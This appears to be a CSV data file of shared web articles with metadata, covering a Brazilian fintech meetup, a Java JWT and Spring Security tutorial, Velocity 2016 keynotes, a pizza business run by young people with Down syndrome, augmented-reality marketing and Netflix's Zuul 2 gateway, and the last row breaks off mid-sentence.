1474569182,CONTENT SHARED,-8244000618837043328,3609194402293569455,-8153859261847409418,,,,HTML,http://startupi.com.br/2016/09/futuro-do-mercado-financeiro-e-tema-de-evento-da-original-devs/,Futuro do mercado financeiro é tema de evento da Original Devs - Startupi,"EXCLUSIVO : As constantes evoluções tecnológicas e, ultimamente, o crescimento das fintechs vêm fazendo com que as empresas estejam sempre se reinventando, e o mercado financeiro não é exceção. Para tratar desse tema especificamente, o iMasters realiza o meetup Original Devs, no dia 27 de setembro, e o foco desse primeiro encontro será nas startups. Um evento é bem humorado, intimista e esclarecedor, e contará com a presença de Guga Stocco, Head de Inovação e Estratégia do Banco Original, e sua equipe de engenharia, que vão explicar o que é essa revolução e como podemos nos adaptar a ela em uma era de plataformas e aplicações cada vez mais conectadas. O bate-papo terá dois temas principais: o futuro do ramo financeiro, que ficará sob a responsabilidade de Stocco, e o uso das APIs de um banco aberto para desenvolvimento de novos produtos, que será apresentado pela equipe de engenharia do Banco Original. Com apresentação de Fernando Rychlewski, community manager do iMasters, o evento será realizado na Plug CLXT, um espaço que é uma mistura de coworking, studio e eventos, em São Paulo. Para mais informações sobre o evento, acesse a Agenda de Eventos Startupi .",pt
1474632292,CONTENT SHARED,139485217095648183,6967147874415599925,1747321534140785832,,,,HTML,http://www.baeldung.com/java-json-web-tokens-jjwt,Supercharge Java Auth with JSON Web Tokens (JWTs) | Baeldung,"Getting ready to build, or struggling with, secure authentication in your Java application? Unsure of the benefits of using tokens (and specifically JSON web tokens), or how they should be deployed? I'm excited to answer these questions, and more, for you in this tutorial! Before we dive into JSON Web Tokens ( JWTs ), and the JJWT library (created by Stormpath 's CTO, Les Hazlewood and maintained by a community of contributors ), let's cover some basics. 1. Authentication vs. Token Authentication The set of protocols an application uses to confirm user identity is authentication. Applications have traditionally persisted identity through session cookies. This paradigm relies on server-side storage of session IDs which forces developers to create session storage that is either unique and server-specific, or implemented as a completely separate session storage layer. Token authentication was developed to solve problems server-side session IDs didn't, and couldn't. Just like traditional authentication, users present verifiable credentials, but are now issued a set of tokens instead of a session ID. The initial credentials could be the standard username/password pair, API keys, or even tokens from another service. (Stormpath's API Key Authentication Feature is an example of this.) 1.1 Why Tokens? Very simply, using tokens in place of session IDs can lower your server load, streamline permission management, and provide better tools for supporting a distributed or cloud-based infrastructure. In the case of JWT, this is primarily accomplished through the stateless nature of these types of tokens (more on that below). Tokens offer a wide variety of applications, including: Cross Site Request Forgery ( CSRF ) protection schemes, OAuth 2.0 interactions, session IDs, and (in cookies) as authentication representations. In most cases, standards do not specify a particular format for tokens. Here's an example of a typical Spring Security CSRF token in an HTML form: If you try to post that form without the right CSRF token, you get an error response, and that's the utility of tokens. The above example is a ""dumb"" token. This means there is no inherent meaning to be gleaned from the token itself. This is also where JWTs make a big difference. 2. What's in a JWT? JWTs (pronounced ""jots"") are URL-safe, encoded, cryptographically signed (sometimes encrypted) strings that can be used as tokens in a variety of applications. Here's an example of a JWT being used as a CSRF token: In this case, you can see that the token is much longer than in our previous example. Just like we saw before, if the form is submitted without the token you get an error response. So, why JWT? The above token is cryptographically signed and therefore can be verified, providing proof that it hasn't been tampered with. Also, JWTs are encoded with a variety of additional information. Let's look at the anatomy of a JWT to better understand how we squeeze all this goodness out of it. You may have noticed that there are three distinct sections separated by periods ( . ): Header eyJhbGciOiJIUzI1NiJ9 Payload eyJqdGkiOiJlNjc4ZjIzMzQ3ZTM0MTBkYjdlNjg3Njc4MjNiMmQ3MCIsImlhdC I6MTQ2NjYzMzMxNywibmJmIjoxNDY2NjMzMzE3LCJleHAiOjE0NjY2MzY5MTd9 Signature rgx_o8VQGuDa2AqCHSgVOD5G68Ld_YYM7N7THmvLIKc Each section is base64 URL-encoded. This ensures that it can be used safely in a URL (more on this later). Let's take a closer look at each section individually. 2.1. The Header If you base64 to decode the header, you will get the following JSON string: This shows that the JWT was signed with HMAC using SHA-256 . 2.2. The Payload If you decode the payload, you get the following JSON string (formatted for clarity): Within the payload, as you can see, there are a number of keys with values. These keys are called ""claims"" and the JWT specification has seven of these specified as ""registered"" claims. They are: iss Issuer sub Subject aud Audience exp Expiration nbf Not Before iat Issued At jti JWT ID When building a JWT, you can put in any custom claims you wish. The list above simply represents the claims that are reserved both in the key that is used and the expected type. Our CSRF has a JWT ID, an ""Issued At"" time, a ""Not Before"" time, and an Expiration time. The expiration time is exactly one minute past the issued at time. 2.3. The Signature Finally, the signature section is created by taking the header and payload together (with the . in between) and passing it through the specified algorithm (HMAC using SHA-256, in this case) along with a known secret. Note that the secret is always a byte array, and should be of a length that makes sense for the algorithm used. Below, I use a random base64 encoded string (for readability) that's converted into a byte array. It looks like this in pseudo-code: As long as you know the secret, you can generate the signature yourself and compare your result to the signature section of the JWT to verify that it has not been tampered with. Technically, a JWT that's been cryptographically signed is called a JWS . JWTs can also be encrypted and would then be called a JWE . (In actual practice, the term JWT is used to describe JWEs and JWSs.) This brings us back to the benefits of using a JWT as our CSRF token. We can verify the signature and we can use the information encoded in the JWT to confirm its validity. So, not only does the string representation of the JWT need to match what's stored server-side, we can ensure that it's not expired simply by inspecting the exp claim. This saves the server from maintaining additional state. Well, we've covered a lot of ground here. Let's dive into some code! 3. Setup the JJWT Tutorial JJWT ( ) is a Java library providing end-to-end JSON Web Token creation and verification. Forever free and open-source (Apache License, Version 2.0), it was designed with a builder-focused interface hiding most of its complexity. The primary operations in using JJWT involve building and parsing JWTs. We'll look at these operations next, then get into some extended features of the JJWT, and finally, we'll see JWTs in action as CSRF tokens in a Spring Security, Spring Boot application. The code demonstrated in the following sections can be found here . Note: The project uses Spring Boot from the beginning as its easy to interact with the API that it exposes. To build the project, execute the following: One of the great things about Spring Boot is how easy it is to fire up an application. To run the JJWT Fun application, simply do the following: There are ten endpoints exposed in this example application (I use httpie to interact with the application. It can be found here .) In the sections that follow, we will examine each of these endpoints and the JJWT code contained in the handlers. 4. Building JWTs with JJWT Because of JJWT's fluent interface , the creation of the JWT is basically a three-step process: The definition of the internal claims of the token, like Issuer, Subject, Expiration, and ID. The cryptographic signing of the JWT (making it a JWS). The compaction of the JWT to a URL-safe string, according to the JWT Compact Serialization rules. The final JWT will be a three-part base64-encoded string, signed with the specified signature algorithm, and using the provided key. After this point, the token is ready to be shared with the another party. Here's an example of the JJWT in action: This is very similar to the code that's in the StaticJWTController.fixedBuilder method of the code project. At this point, it's worth talking about a few anti-patterns related to JWTs and signing. If you've ever seen JWT examples before, you've likely encountered one of these signing anti-pattern scenarios: Any of the HS type signature algorithms takes a byte array. It's convenient for humans to read to take a string and convert it to a byte array. Anti-pattern 1 above demonstrates this. This is problematic because the secret is weakened by being so short and it's not a byte array in its native form. So, to keep it readable, we can base64 encode the byte array. However, anti-pattern 2 above takes the base64 encoded string and converts it directly to a byte array. What should be done is to decode the base64 string back into the original byte array. Number 3 above demonstrates this. So, why is this one also an anti-pattern? It's a subtle reason in this case. Notice that the signature algorithm is HS512. The byte array is not the maximum length that HS512 can support, making it a weaker secret than what is possible for that algorithm. The example code includes a class called SecretService that ensures secrets of the proper strength are used for the given algorithm. At application startup time, a new set of secrets is created for each of the HS algorithms. There are endpoints to refresh the secrets as well as to explicitly set the secrets. If you have the project running as described above, execute the following so that the JWT examples below match the responses from your project. Now, you can hit the /static-builder endpoint: This produces a JWT that looks like this: Now, hit: The response has all the claims that we included when we created the JWT. This is the parsing operation, which we'll get into in the next section. Now, let's hit an endpoint that takes claims as parameters and will build a custom JWT for us. Note : There's a subtle difference between the hasMotorcycle claim and the other claims. httpie assumes that JSON parameters are strings by default. To submit raw JSON using using httpie, you use the := form rather than = . Without that, it would submit ""hasMotorcycle"": ""true"" , which is not what we want. Here's the output: Let's take a look at the code that backs this endpoint: Line 2 ensures that the incoming JSON is automatically converted to a Java Map<String, Object>, which is super handy for JJWT as the method on line 5 simply takes that Map and sets all the claims at once. As terse as this code is, we need something more specific to ensure that the claims that are passed are valid. Using the .setClaims(Map<String, Object> claims) method is handy when you already know that the claims represented in the map are valid. This is where the type-safety of Java comes into the JJWT library. For each of the Registered Claims defined in the JWT specification, there's a corresponding Java method in the JJWT that takes the spec-correct type. Let's hit another endpoint in our example and see what happens: Note that we've passed in an integer, 5, for the ""sub"" claim. Here's the output: Now, we're getting an error response because the code is enforcing the type of the Registered Claims. In this case, sub must be a string. Here's the code that backs this endpoint: Just like before, the method accepts a Map<String, Object> of claims as its parameter. However, this time, we are calling the specific method for each of the Registered Claims which enforces type. One refinement to this is to make the error message more specific. Right now, we only know that one of our claims is not the correct type. We don't know which claim was in error or what it should be. Here's a method that will give us a more specific error message. It also deals with a bug in the current code. Line 3 checks that the passed in value is of the expected type. If not, a JwtException is thrown with the specific error. Let's take a look at this in action by making the same call we did earlier: Now, we have a very specific error message telling us that the sub claim is the one in error. Let's circle back to that bug in our code. The issue has nothing to do with the JJWT library. The issue is that the JSON to Java Object mapper built into Spring Boot is too smart for our own good. If there's a method that accepts a Java Object, the JSON mapper will automatically convert a passed in number that is less than or equal to 2,147,483,647 into a Java Integer . Likewise, it will automatically convert a passed in number that is greater than 2,147,483,647 into a Java Long . For the iat , nbf , and exp claims of a JWT, we want our ensureType test to pass whether the mapped Object is an Integer or a Long. That's why we have the additional clause in determining if the passed in value is the correct type: If we're expecting a Long, but the value is an instance of Integer, we still say it's the correct type. With an understanding of what's happening with this validation, we can now integrate it into our dynamicBuilderSpecific method: Note : In all the example code in this section, JWTs are signed with the HMAC using SHA-256 algorithm. This is to keep the examples simple. The JJWT library supports 12 different signature algorithms that you can take advantage of in your own code. 5. Parsing JWTs with JJWT We saw earlier that our code example has an endpoint for parsing a JWT. Hitting this endpoint: produces this response: The parser method of the StaticJWTController class looks like this: Line 4 indicates that we expect the incoming string to be a signed JWT (a JWS). And, we are using the same secret that was used to sign the JWT in parsing it. Line 5 parses the claims from the JWT. Internally, it is verifying the signature and it will throw an exception if the signature is invalid. Notice that in this case we are passing in a SigningKeyResolver rather than a key itself. This is one of the most powerful aspects of JJWT. The header of JWT indicates the algorithm used to sign it. However, we need to verify the JWT before we trust it. It would seem to be a catch 22. Let's look at the SecretService.getSigningKeyResolver method: Using the access to the JwsHeader , I can inspect the algorithm and return the proper byte array for the secret that was used to sign the JWT. Now, JJWT will verify that the JWT has not been tampered with using this byte array as the key. If I remove the last character of the passed in JWT (which is part of the signature), this is the response: 6. JWTs in Practice: Spring Security CSRF Tokens While the focus of this post is not Spring Security, we are going to delve into it a bit here to showcase some real-world usage of the JJWT library. Cross Site Request Forgery is a security vulnerability whereby a malicious website tricks you into submitting requests to a website that you have established trust with. One of the common remedies for this is to implement a synchronizer token pattern . This approach inserts a token into the web form and the application server checks the incoming token against its repository to confirm that it is correct. If the token is missing or invalid, the server will respond with an error. Spring Security has the synchronizer token pattern built in. Even better, if you are using the Spring Boot and Thymeleaf templates , the synchronizer token is automatically inserted for you. By default, the token that Spring Security uses is a ""dumb"" token. It's just a series of letters and numbers. This approach is just fine and it works. In this section, we enhance the basic functionality by using JWTs as the token. In addition to verifying that the submitted token is the one expected, we validate the JWT to further prove that the token has not been tampered with and to ensure that it is not expired. To get started, we are going to configure Spring Security using Java configuration. By default, all paths require authentication and all POST endpoints require CSRF tokens. We are going to relax that a bit so that what we've built so far still works. We are doing two things here. First, we are saying the CSRF tokens are not required when posting to our REST API endpoints (line 15). Second, we are saying that unauthenticated access should be allowed for all paths (lines 17 - 18). Let's confirm that Spring Security is working the way we expect. Fire up the app and hit this url in your browser: Here's the Thymeleaf template for this view: This is a very basic form that will POST to the same endpoint when submitted. Notice that there is no explicit reference to CSRF tokens in the form. If you view the source, you will see something like: This is all the confirmation you need to know that Spring Security is functioning and that the Thymeleaf templates are automatically inserting the CSRF token. To make the value a JWT, we will enable a custom CsrfTokenRepository . Here's how our Spring Security configuration changes: To connect this, we need a configuration that exposes a bean that returns the custom token repository. Here's the configuration: And, here's our custom repository (the important bits): The generateToken method creates a JWT that expires 30 seconds after it's created. With this plumbing in place, we can fire up the application again and look at the source of /jwt-csrf-form . Now, the hidden field looks like this: Huzzah! Now our CSRF token is a JWT. That wasn't too hard. However, this is only half the puzzle. By default, Spring Security simply saves the CSRF token and confirms that the token submitted in a web form matches the one that's saved. We want to extend the functionality to validate the JWT and make sure it hasn't expired. To do that, we'll add in a filter. Here's what our Spring Security configuration looks like now: On line 9, we've added in a filter and we are placing it in the filter chain after the default CsrfFilter . So, by the time our filter is hit, the JWT token (as a whole) will have already been confirmed to be the correct value saved by Spring Security. Here's the JwtCsrfValidatorFilter (it's private as it's an inner class of our Spring Security configuration): Take a look at line 23 on. We are parsing the JWT as before. In this case, if an Exception is thrown, the request is forwarded to the expired-jwt template. If the JWT validates, then processing continues as normal. This closes the loop on overriding the default Spring Security CSRF token behavior with a JWT token repository and validator. If you fire up the app, browse to /jwt-csrf-form , wait a little more than 30 seconds and click the button, you will see something like this: 7. JJWT Extended Features We'll close out our JJWT journey with a word on some of the features that extend beyond the specification. 7.1. Enforce Claims As part of the parsing process, JJWT allows you to specify required claims and values those claims should have. This is very handy if there is certain information in your JWTs that must be present in order for you to consider them valid. It avoids a lot of branching logic to manually validate claims. Here's the method that serves the /parser-enforce endpoint of our sample project. Lines 5 and 6 show you the syntax for registered claims as well as custom claims. In this example, the JWT will be considered invalid if the iss claim is not present or does not have the value: Stormpath. It will also be invalid if the custom hasMotorcycle claim is not present or does not have the value: true. Let's first create a JWT that follows the happy path: Now, let's validate that JWT: So far, so good. Now, this time, let's leave the hasMotorcycle out: This time, if we try to validate the JWT: we get: This indicates that our hasMotorcycle claim was expected, but was missing. Let's do one more example: This time, the required claim is present, but it has the wrong value. Let's see the output of: This indicates that our hasMotorcycle claim was present, but had a value that was not expected. MissingClaimException and IncorrectClaimException are your friends when enforcing claims in your JWTs and a feature that only the JJWT library has. 7.2. JWT Compression If you have a lot of claims on a JWT, it can get big - so big, that it might not fit in a GET url in some browsers. Let's a make a big JWT: Here's the JWT that produces: That sucker's big! Now, let's hit a slightly different endpoint with the same claims: This time, we get: 62 characters shorter! Here's the code for the method used to generate the JWT: Notice on line 6 we are specifying a compression algorithm to use. That's all there is to it. What about parsing compressed JWTs? The JJWT library automatically detects the compression and uses the same algorithm to decompress: Notice the calg claim in the header. This was automatically encoded into the JWT and it provides the hint to the parser about what algorithm to use for decompression. NOTE: The JWE specification does support compression. In an upcoming release of the JJWT library, we will support JWE and compressed JWEs. We will continue to support compression in other types of JWTs, even though it is not specified. 8. Token Tools for Java Devs While the core focus of this article was not Spring Boot or Spring Security, using those two technologies made it easy to demonstrate all the features discussed in this article. You should be able to build in fire up the server and start playing with the various endpoints we've discussed. Just hit: Stormpath is also excited to bring a number of open source developer tools to the Java community. These include: 8.1. JJWT (What we've been talking about) JJWT is an easy to use tool for developers to create and verify JWTs in Java . Like many libraries Stormpath supports, JJWT is completely free and open source (Apache License, Version 2.0), so everyone can see what it does and how it does it. Do not hesitate to report any issues, suggest improvements, and even submit some code! 8.2. jsonwebtoken.io and java.jsonwebtoken.io jsonwebtoken.io is a developer tool we created to make it easy to decode JWTs. Simply paste an existing JWT into the appropriate field to decode its header, payload, and signature. jsonwebtoken.io is powered by nJWT , the cleanest free and open source (Apache License, Version 2.0) JWT library for Node.js developers. You can also see code generated for a variety of languages at this website. The website itself is open-source and can be found here . java.jsonwebtoken.io is specifically for the JJWT library. You can alter the headers and payload in the upper right box, see the JWT generated by JJWT in the upper left box, and see a sample of the builder and parser Java code in the lower boxes. The website itself is open source and can be found here . 8.3. JWT Inspector The new kid on the block, JWT Inspector is an open source Chrome extension that allows developers to inspect and debug JWTs directly in-browser. The JWT Inspector will discover JWTs on your site (in cookies, local/session storage, and headers) and make them easily accessible through your navigation bar and DevTools panel. 9. JWT This Down! JWTs add some intelligence to ordinary tokens. The ability to cryptographically sign and verify, build in expiration times and encode other information into JWTs sets the stage for truly stateless session management. This has a big impact on the ability to scale applications. At Stormpath, we use JWTs for OAuth2 tokens, CSRF tokens and assertions between microservices, among other usages. Once you start using JWTs, you may never go back to the dumb tokens of the past. Have any questions? Hit me up at @afitnerd on twitter.",en
1474636300,CONTENT SHARED,-4194520495766350572,-8020832670974472349,1708039685650317367,,,,HTML,https://www.oreilly.com/ideas/keynotes-from-velocity-new-york-2016,Keynotes from the O'Reilly Velocity Conference in New York 2016,"Watch full keynotes covering DevOps, performance, infrastructure, and more. From the O'Reilly Velocity Conference in New York 2016. Keynote stage at Velocity NY (source: O'Reilly Conferences via Flickr ). Experts from across the web operations and performance worlds came together in New York for the O'Reilly Velocity Conference in New York 2016 . Below you'll find links to keynotes from the event. Don't gamble when it comes to reliability How do you stay reliable when you can't keep the whole system in your head? Tom Croucher discusses Uber's approach to reliability. DevOps, collaboration, and globally distributed teams Ashish Kuthiala presents research-based findings on the factors that play the most important roles in accelerating DevOps adoption. Serverless is other people Rachel Chalmers explores about what serverless means for security, networking, support, and culture. We need a bigger goal than collecting data Mehdi Daoudi challenges business leaders and IT ops professionals to consider the ROI of analyses. How quickly can we get real insights from our data? Situation normal: All fouled up Richard Cook and David Woods examine the problems and potential in Internet-facing business incident response. Data science: Next-gen performance analytics Ken Gardner looks at the latest innovations in performance analytics and how data science can be used in surprising ways to visualize and prioritize improvements. Two years of the U.S. Digital Service Now two years old and including about 150 people spanning a network of federal agencies, the U.S. Digital Service has taken on immigration, education, veterans benefits, and health data interoperability. Building bridges with DevOps Katherine Daniels explains how the principles of effective DevOps environments can be used to create sustainable participation from a wide range of people. Make performance data-and beyond-accessible Alois Reitbauer discusses the conversational interface Dynatrace has built to make performance data accessible through natural language questions. Turning data into leverage Ozan Turgut discusses how to use visualization and analytics to apply data to decision making. Is ad blocking good for advertisers? Tony Ralph explains why the rise of ad blocking could incite progress in online advertising. Transforming how the world operates software The problems around software aren't all solved and the story isn't over. What role will you play? Security at the speed of innovation: Defensive development for a fast-paced world Kelly Lum shares her experiences maintaining a break-neck pace while still producing hacker-resilient code. Designing, building, and operating services from the perspective of customer goals helps improve quality. The secret to successful infrastructure automation is people. Learn about key microservices principles like Last Responsible Moment, risk sliders to assess benefit versus risk, heatlhchecks, and metrics. Embracing bound resources in cloud-native apps.",en
1474637550,CONTENT SHARED,-5786811453218931415,-4585796377251906117,-8072899022682587915,,,,HTML,http://bestofweb.com.br/post/meninos-com-down-abrem-a-propria-empresa-de-pizzas-e-fazem-o-maior-sucesso-em-eventos,Meninos com Down abrem a própria empresa de pizzas e fazem o maior sucesso em eventos,"Muitos jovens têm ideias inovadoras e uma vontade enorme de trabalhar. Assim, eles saem em busca de seus objetivos e acabam muitas vezes dando certo no mercado de trabalho. Um exemplo claro é a história que você verá abaixo, que são daquelas que dá muito gosto de ler e compartilhar. Uma empresa chamada Los Perejiles, em San Isidro, na Argentina, prepara pizzas e empanadas para eventos e vem chamando atenção de muita gente. Você liga, eles vão até onde a festa irá acontecer, cozinham e depois ainda deixam tudo limpinho! O melhor de tudo, é que a vontade de trabalhar e a alegria em fazer seu ofício é simplesmente contagiante! A ideia veio de seis jovens com Síndrome de Down, que tinham muita vontade de trabalhar, mas não conseguiam vagas adequadas no mercado. Então, eles resolveram ter o seu próprio negócio. Assim fizeram, se lançaram no mercado e apenas dois meses depois de divulgarem suas habilidades, eles já tinha 24 eventos marcados. Além de tudo, os meninos têm a colaboração de dois profissionais de um trailer chamado ""Sumando"", o qual trabalham com pessoas com Síndrome de Down. Um dos professores voluntários desse trailer, Telam Lopez, foi um dos gestores desse projeto audacioso. "" Los Perejiles começou a nascer quando expomos para as mães desses meninos as dificuldade do trabalho, porque os meninos estavam indo para um colégio especial onde os formam supostamente para o mercado de trabalho, mas logo eles acabam parando por ali mesmo"" , explicou. Junto de outro professor, Kevin Degirmenci, foi nesse trailer que os meninos aprenderam a se desenvolver de maneira mais efetiva, dentro e fora de casa. ""Aqui temos crianças que não sabiam fazer nem um sanduíche para sua merenda, cruzar a rua ou fazer os afazeres domésticos; alguns tiveram aos 20 anos uma chave de casa"", conta Kevin. Sem dúvida alguma, uma das grandes virtudes dessa empresa é a organização. A cada evento que são contratados, os Prejiles já chegam com seus utensílios e ingredientes. As tarefas são distribuídas entre os cozinheiros oficias e os garçons. Todas as festas onde trabalham, não existem perguntas desnecessárias ou olhares que tratam os meninos de maneira diferente. no Facebook. Uma das maiores lições que esses jovens dão é que não existe limites para suas habilidades e que eles não precisam da piedade alheia, mas sim, oportunidade para mostrar seus talentos. Você pode acompanhar a história deles em sua página no Facebook.",pt
1474639893,CONTENT SHARED,7207514472495382992,3609194402293569455,-6164598098929716386,,,,HTML,https://www.mundodomarketing.com.br/index.php/ultimas-noticias/36808/3-aplicacoes-de-realidade-aumentada-para-apresentar-novos-produtos.html,3 aplicações de realidade aumentada para apresentar novos produtos,"A realidade aumentada nunca esteve tão próxima do grande público. Apesar de não ser nova, a tecnologia começa a fazer parte da rotina da população graças ao desenvolvimento de novas ferramentas, como os dispositivos móveis e, ainda, pela melhor conexão de internet disponível. No passado, os QR Codes ganharam espaço na comunicação das marcas, mas foi a febre do jogo Pokémon Go , que utiliza a realidade mista, que permitiu que mais pessoas tivessem entendimento sobre como é o seu funcionamento. A aplicação da realidade aumentada virou um importante trunfo utilizado pelas marcas que querem oferecer uma experiência diferenciada aos consumidores. Seu uso permite a imersão e maior envolvimento e, por conta disso, vem sendo utilizada por muitas empresas para apresentar novos produtos e promoções, já que chama atenção do público e garante maior aderência. A utilização da ferramenta está cada vez mais comum e mostra que ela veio para ficar, como afirma a especialista Martha Gabriel, na reportagem ""Moda x tendência: como identificar o que veio para ficar"" . A realidade aumentada está sendo utilizada por várias empresas como estratégia para aumentar vendas . A Nike utilizou realidade aumentada e hologramas nas ruas de Amsterdã, na Holanda, para anunciar o Nike Free 5.0, modelo de tênis voltado para corrida. Foram utilizadas três peças de mobiliário urbano com um espaço em vidro transparente no centro, onde era projetado um holograma com imagens do produto. A animação holográfica em três dimensões pôde ser vista pelas pessoas independentemente da posição em relação ao espaço de vidro. A Chiclets utilizou a realidade aumentada para promover o lançamento da goma de mascar Mistery, um mix de sabores secretos. As embalagens trazem seis dos personagens Emotiguns que destravam conteúdos divertidos e em RA na fanpage da marca no Facebook. O desafio do consumidor era descobrir quais elementos de sabor continha em cada chiclete, já que nenhuma alusão é feita nas caixinhas. O lançamento de Mistery contou com peças de divulgação no Youtube e no Google. Já a Lacta desenvolveu um aplicativo para a Páscoa deste ano que permitia que as pessoas interagissem com o coelho no ponto de venda. O personagem ganhou vida por meio de realidade aumentada. A ferramenta também auxiliou na organização de caça aos ovos e proporcionar diversão às famílias, com brincadeiras que usam a mesma tecnologia. Estes e outros exemplos de como aplicar a ferramenta estão na análise sobre a aplicação de realidade aumentada no Brasil está disponível no Mundo do Marketing Inteligência.",pt
1474647970,CONTENT SHARED,7226503561499839165,7645894863578715801,8514890134781099260,,,,HTML,http://techblog.netflix.com/2016/09/zuul-2-netflix-journey-to-asynchronous.html,"Zuul 2 : The Netflix Journey to Asynchronous, Non-Blocking Systems","We recently made a major architectural change to Zuul , our cloud gateway. Did anyone even notice!? Probably not... Zuul 2 does the same thing that its predecessor did -- acting as the front door to Netflix's server infrastructure, handling traffic from all Netflix users around the world. It also routes requests, supports developers' testing and debugging, provides deep insight into our overall service health, protects Netflix from attacks, and channels traffic to other cloud regions when an AWS region is in trouble. The major architectural difference between Zuul 2 and the original is that Zuul 2 is running on an asynchronous and non-blocking framework, using Netty. After running in production for the last several months, the primary advantage (one that we expected when embarking on this work) is that it provides the capability for devices and web browsers to have persistent connections back to Netflix at Netflix scale. With more than 83 million members, each with multiple connected devices, this is a massive scale challenge. By having a persistent connection to our cloud infrastructure, we can enable lots of interesting product features and innovations, reduce overall device requests, improve device performance, and understand and debug the customer experience better. We also hoped the Zuul 2 would offer resiliency benefits and performance improvements, in terms of latencies, throughput, and costs. But as you will learn in this post, our aspirations have differed from the results. Differences Between Blocking vs. Non-Blocking Systems To understand why we built Zuul 2, you must first understand the architectural differences between asynchronous and non-blocking (""async"") systems vs. multithreaded, blocking (""blocking"") systems, both in theory and in practice. Zuul 1 was built on the Servlet framework. Such systems are blocking and multithreaded, which means they process requests by using one thread per connection. I/O operations are done by choosing a worker thread from a thread pool to execute the I/O, and the request thread is blocked until the worker thread completes. The worker thread notifies the request thread when its work is complete. This works well with modern multi-core AWS instances handling 100's of concurrent connections each. But when things go wrong, like backend latency increases or device retries due to errors, the count of active connections and threads increases. When this happens, nodes get into trouble and can go into a death spiral where backed up threads spike server loads and overwhelm the cluster. To offset these risks, we built in throttling mechanisms and libraries (e.g., Hystrix ) to help keep our blocking systems stable during these events. Multithreaded System Architecture Async systems operate differently, with generally one thread per CPU core handling all requests and responses. The lifecycle of the request and response is handled through events and callbacks. Because there is not a thread for each request, the cost of connections is cheap. This is the cost of a file descriptor, and the addition of a listener. Whereas the cost of a connection in the blocking model is a thread and with heavy memory and system overhead. There are some efficiency gains because data stays on the same CPU, making better use of CPU level caches and requiring fewer context switches. The fallout of backend latency and ""retry storms"" (customers and devices retrying requests when problems occur) is also less stressful on the system because connections and increased events in the queue are far less expensive than piling up threads. Asynchronous and Non-blocking System Architecture The advantages of async systems sound glorious, but the above benefits come at a cost to operations. Blocking systems are easy to grok and debug. A thread is always doing a single operation so the thread's stack is an accurate snapshot of the progress of a request or spawned task; and a thread dump can be read to follow a request spanning multiple threads by following locks. An exception thrown just pops up the stack. A ""catch-all"" exception handler can cleanup everything that isn't explicitly caught. Async, by contrast, is callback based and driven by an event loop. The event loop's stack trace is meaningless when trying to follow a request. It is difficult to follow a request as events and callbacks are processed, and the tools to help with debugging this are sorely lacking in this area. Edge cases, unhandled exceptions, and incorrectly handled state changes create dangling resources resulting in ByteBuf leaks, file descriptor leaks, lost responses, etc. These types of issues have proven to be quite difficult to debug because it is difficult to know which event wasn't handled properly or cleaned up appropriately. Building Non-Blocking Zuul Building Zuul 2 within Netflix's infrastructure was more challenging than expected. Many services within the Netflix ecosystem were built with an assumption of blocking. Netflix's core networking libraries are also built with blocking architectural assumptions; many libraries rely on thread local variables to build up and store context about a request. Thread local variables don't work in an async non-blocking world where multiple requests are processed on the same thread. Consequently, much of the complexity of building Zuul 2 was in teasing out dark corners where thread local variables were being used. Other challenges involved converting blocking networking logic into non-blocking networking code, and finding blocking code deep inside libraries, fixing resource leaks, and converting core infrastructure to run asynchronously. There is no one-size-fits-all strategy for converting blocking network logic to async; they must be individually analyzed and refactored. The same applies to core Netflix libraries, where some code was modified and some had to be forked and refactored to work with async. The open source project Reactive-Audit was helpful by instrumenting our servers to discover cases where code blocks and libraries were blocking. We took an interesting approach to building Zuul 2. Because blocking systems can run code asynchronously, we started by first changing our Zuul Filters and filter chaining code to run asynchronously. Zuul Filters contain the specific logic that we create to do our gateway functions (routing, logging, reverse proxying, ddos prevention, etc). We refactored core Zuul, the base Zuul Filter classes, and our Zuul Filters using RxJava to allow them to run asynchronously. We now have two types of filters that are used together: async used for I/O operations, and a sync filter that run logical operations that don't require I/O. Async Zuul Filters allowed us to execute the exact same filter logic in both a blocking system and a non-blocking system. This gave us the ability to work with one filter set so that we could develop gateway features for our partners while also developing the Netty-based architecture in a single codebase. With async Zuul Filters in place, building Zuul 2 was ""just"" a matter of making the rest of our Zuul infrastructure run asynchronously and non-blocking. The same Zuul Filters could just drop into both architectures. Results of Zuul 2 in Production Hypotheses varied greatly on benefits of async architecture with our gateway. Some thought we would see an order of magnitude increase in efficiency due to the reduction of context switching and more efficient use of CPU caches and others expected that we'd see no efficiency gain at all. Opinions also varied on the complexity of the change and development effort. So what did we gain by doing this architectural change? And was it worth it? This topic is hotly debated. The Cloud Gateway team pioneered the effort to create and test async-based services at Netflix. There was a lot of interest in understanding how microservices using async would operate at Netflix, and Zuul looked like an ideal service for seeing benefits. While we did not see a significant efficiency benefit in migrating to async and non-blocking, we did achieve the goals of connection scaling. Zuul does benefit by greatly decreasing the cost of network connections which will enable push and bi-directional communication to and from devices. These features will enable more real-time user experience innovations and will reduce overall cloud costs by replacing ""chatty"" device protocols today (which account for a significant portion of API traffic) with push notifications. There also is some resiliency advantage in handling retry storms and latency from origin systems better than the blocking model. We are continuing to improve on this area; however it should be noted that the resiliency advantages have not been straightforward or without effort and tuning. With the ability to drop Zuul's core business logic into either blocking or async architectures, we have an interesting apples-to-apples comparison of blocking to async. So how do two systems doing the exact same real work, although in very different ways, compare in terms of features, performance and resiliency? After running Zuul 2 in production for the last several months, our evaluation is that the more CPU-bound a system is, the less of an efficiency gain we see. We have several different Zuul clusters that front origin services like API, playback, website, and logging. Each origin service demands that different operations be handled by the corresponding Zuul cluster. The Zuul cluster that fronts our API service, for example, does the most on-box work of all our clusters, including metrics calculations, logging, and decrypting incoming payloads and compressing responses. We see no efficiency gain by swapping an async Zuul 2 for a blocking one for this cluster. From a capacity and CPU point of view they are essentially equivalent, which makes sense given how CPU-intensive the Zuul service fronting API is. They also tend to degrade at about the same throughput per node. The Zuul cluster that fronts our Logging services has a different performance profile. Zuul is generally receiving logging and analytics messages from devices and is write-heavy, so requests are large, but responses are small and not encrypted by Zuul. As a result, Zuul is doing much less work for this cluster. While still CPU-bound, we see about a 25% increase in throughput corresponding with a 25% reduction in CPU utilization by running Netty-based Zuul. We thus observed that the less work a system actually does, the more efficiency we gain from async. Overall, the value we get from this architectural change is high, with connection scaling being the primary benefit, but it does come at a cost. We have a system that is much more complex to debug, code, and test, and we are working within an ecosystem at Netflix that operates on an assumption of blocking systems. It is unlikely that the ecosystem will change anytime soon, so as we add and integrate more features to our gateway it is likely that we will need to continue to tease out thread local variables and other assumptions of blocking in client libraries and other supporting code. We will also need to rewrite blocking calls asynchronously. This is an engineering challenge unique to working with a well established platform and body of code that makes assumptions of blocking. Building and integrating Zuul 2 in a greenfield would have 